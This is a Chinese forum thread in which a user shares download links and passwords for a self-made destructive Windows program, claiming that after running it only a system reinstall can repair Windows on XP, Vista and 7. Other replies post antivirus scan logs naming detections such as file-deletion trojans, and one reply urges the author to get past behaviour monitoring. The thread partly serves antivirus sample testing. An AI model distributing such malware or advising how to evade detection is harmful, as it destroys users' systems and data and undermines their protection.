自制易语言病毒程序

显示全部楼层 · 发表于 2021-2-17 14:12:07

本帖最后由 Kundows 于 2021-2-19 18:03 编辑

自制渣毒，欢迎各位前来挑战，
废话不多说，链接放上
https://以wws.lanz失ous.com/i效cROSlrdvcj
密码:be2m
PS:运行后除了重装系统无法修复WINDOWS
测试无法修复的版本有：
Windows XP sp1/sp1a~sp3全部版本GG
VISIA仅测试enterprise_with_service_pack_1_x64GG
Windows 7：windows_7_enterprise_x64
windows_7_home_premium_with_sp1
两个GG
注：其余未测试
win 2000以下Windows7以上未测试

二月十八23：39
bate 4.50
https://ww以s.lanz失ous.com/iY1Z效0ltma3a
密码:dk13

二月十九bate 4.75
https://wws.lanzous.com/iK7Kslukvzc
密码:1p56

显示全部楼层 · 发表于 2021-2-17 14:13:32

Avast
BV:DelFiles-AZ [Trj]

显示全部楼层 · 发表于 2021-2-17 14:14:08

360杀毒扫描日志

病毒库版本：2021-02-17 13:47
扫描时间：2021-02-17 14:13:59
扫描用时：00:00:02
扫描类型：右键扫描
扫描文件总数：6
项目总数：0
清除项目数：0

扫描选项
----------------------
扫描所有文件：是
扫描压缩包：是
发现病毒处理方式：由360杀毒自动处理
扫描磁盘引导区：是
扫描 Rootkit：是
使用云查杀引擎：是
使用QVM人工智能引擎：是
扫描建议修复项：是
常规引擎设置：

扫描内容
----------------------
D:\360极速浏览器下载\xth virus.rar

白名单设置
----------------------

扫描结果
======================
未发现威胁文件

显示全部楼层 · 发表于 2021-2-17 14:15:29

本帖最后由我爱王心凌于 2021-2-17 14:17 编辑

扫描正常点击exe运行后开始报毒

显示全部楼层 · 发表于 2021-2-17 14:20:10

本帖最后由 tomochan 于 2021-2-17 14:21 编辑

建议先过了监控

显示全部楼层 · 发表于 2021-2-17 14:20:49

ESET kill 1x，日志如下：

日志
扫描日志
检测引擎的版本: 22826 (20210217)
日期: 2021/2/17 时间: 14:20:37
已扫描的磁盘、文件夹和文件: C:\Users\Windows\Desktop\xth virus
C:\Users\Windows\Desktop\xth virus\vir 线程2.exe > BAT2EXE > vir 线程2.bat - BAT/KillFiles.NER 特洛伊木马 - 已通过删除清除 [1]
已扫描的对象数: 11
检测数: 1
已清除的对象数: 1
完成时间: 14:20:38 总扫描时间: 1 秒 (00:00:01)
备注:
[1] 由于对象中仅包含病毒主体，因此已被删除。

复制代码

显示全部楼层 · 发表于 2021-2-17 14:23:25

tomochan 发表于 2021-2-17 14:20
建议先过了监控

易语言程序基本都报毒吧

显示全部楼层 · 发表于 2021-2-17 14:25:07

Kundows 发表于 2021-2-17 14:23
易语言程序基本都报毒吧

建议先过了监控

显示全部楼层 · 发表于 2021-2-17 14:25:13

Kundows 发表于 2021-2-17 14:23
易语言程序基本都报毒吧

这才是尴尬的地方所在...
再牛逼的病毒还没运行就被大多数杀软监控干掉了..甚至都不用入库

显示全部楼层 · 发表于 2021-2-17 14:29:35

Microsoft Defender kill all！

Trojan:Win32/Wacatac.D0!ml
Trojan:Win32/Avkill.E
Trojan:Win32/Wacatac.DE!ml
Trojan:Win32/Skeeyah.A!MTB
Trojan:Win32/Wacatac.D5!ml

[病毒样本] 自制易语言病毒程序

本帖子中包含更多资源